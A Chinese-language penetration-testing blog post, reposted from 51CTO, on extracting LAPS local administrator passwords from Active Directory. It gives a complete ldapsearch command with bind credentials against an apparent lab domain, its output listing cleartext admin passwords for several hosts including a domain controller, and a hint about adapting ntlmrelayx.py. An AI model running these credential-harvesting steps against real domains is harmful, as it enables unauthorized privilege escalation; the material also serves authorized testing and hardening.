域渗透TIPS:获取LAPS管理员密码


域渗透TIPS:获取LAPS管理员密码

如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。

LAPS将其信息存储在活动目录:

  • 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
  • 以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。

域渗透TIPS:获取LAPS管理员密码

在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。

得益于Meatballs开发的Metasploit模块:

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?

使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:

 
 
  1. ldapsearch -x -h 192.168.80.10 -D \ 
  2. "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \ 
  3. "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 

解析:

  • -x – 使用基础身份验证
  • -h 192.168.80.10 – 将ldap连接到域控制器
  • -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
  • -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
  • “(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)
  • ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)

运行情况如下:

 
 
  1. $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 
  2. # extended LDIF 
  3. # LDAPv3 
  4. # base <dcdc=sittingduck,dc=info> with scope subtree 
  5. # filter: (ms-MCS-AdmPwd=*) 
  6. # requesting: ms-MCS-AdmPwd 
  7.  
  8. # DC1, Domain Controllers, sittingduck.info 
  9. dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info 
  10. ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F 
  11.  
  12. # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info 
  13. dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  14. ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR 
  15.  
  16. # SD_WSUS_2012, LabComputers, Lab, sittingduck.info 
  17. dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  18. ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T 
  19.  
  20. # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info 
  21. dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  22. ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( 
  23.  
  24. # search reference 
  25. ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info 
  26.  
  27. # search reference 
  28. ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D 
  29.  C=info 
  30.  
  31. # search reference 
  32. ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D 
  33.  C=info 
  34.  
  35. # search reference 
  36. ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info 
  37.  
  38. # search result 
  39. search: 2 
  40. result: 0 Success 

至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了。

作者:鸢尾
来源:51CTO

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值